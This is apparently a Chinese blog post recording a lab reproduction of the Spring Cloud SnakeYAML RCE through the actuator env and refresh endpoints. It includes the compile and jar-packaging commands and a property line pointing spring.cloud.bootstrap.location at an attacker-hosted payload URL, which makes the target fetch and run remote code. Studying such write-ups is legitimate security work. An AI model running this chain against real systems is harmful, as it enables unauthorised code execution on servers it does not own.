• Spring未授权REC利用方式一(env接口/snakeyaml RCE)


    一、漏洞成因:

      spring cloud在低版本下的 SnakeYAML 依赖组件存在反序列漏洞(所以有的利用叫:springcloud-snakeyaml-rce)

    二、利用条件  

      Spring boot版本范围:

        Spring Boot 2.X      全部无法利用

        Spring Boot <=1.4  可以利用成功

        Spring Boot 1.5.x    在使用Dalston版本可以,使用Edgware不可以

      Spring cloud 版本范围: 

        Spring cloud <  1.3.0.RELEASE

      组件要求:

        spring-cloud-starter  && spring-boot-starter

    三、环境搭建及确定漏洞是否存在

      1. 环境搭建就不说了,直接下面有git链接,下载IEDA直接启动即可。

      

      2. 确认 spring-boot-actuator 1.5.22 RELEASE  ,这个版本要确认是否是Dalston版,我这直接通过pom.xml确认,如果在渗透测试过程应该是没办法直接确认。

       

      

      3. 确认 Spring-cloud 版本

       

     四、漏洞复现

      1. Payload准备

        下载payload文件解压到根目录

      2.进入目录修改AwesomeScriptEngineFactory.java,命令执行弹出计算器!

      

      3.修改yaml-payload.yml文件

       

       4. 编译并打包jar文件

        javac src/artsploit/AwesomeScriptEngineFactory.java    //编译java文件

        jar -cvf yaml-payload.jar -C src/ .             //打包成jar包

        

        5.启动一个python的http环境,能访问到刚刚修改的jar文件和yml

        

       

       6.env接口设置spring.cloud.bootstrap.location属性

      spring.cloud.bootstrap.location=http://192.168.43.183:8888/yaml-payload.yml

       

       

       7. refresh 接口刷新spring配置,触发rce

       

       8.弹出画画板(我的计算器坏了)

      

      总结:看了很多文章分析,整了好几天。我复现的思路没有像参考文章一样本地分析跟踪代码,更偏向于利用过程的记录和踩坑。   

    参考链接:

      https://github.com/LandGrey/SpringBootVulExploit              //漏洞总结

      https://b1ngz.github.io/exploit-spring-boot-actuator-spring-cloud-env-note/   //漏洞分析和漏洞版本范围

      https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository    //漏洞环境地址

      https://github.com/b1ngz/spring-boot-actuator-cloud-vul            //环境地址

      https://github.com/artsploit/yaml-payload                  //payload地址

      

  • 相关阅读:
    并发容器之CopyOnWriteArrayList
    Python os.listdir() 方法
    Python os.link() 方法
    Python os.lchown() 方法
    Python os.lchmod() 方法
    Python os.lchflags() 方法
    APP test
    jmeter 启动报错:not able to find java executable or version
    sqlserver数据库性能测试方法
    jmeter基础概念
  • 原文地址:https://www.cnblogs.com/hei-zi/p/14282727.html
Copyright © 2020-2023  润新知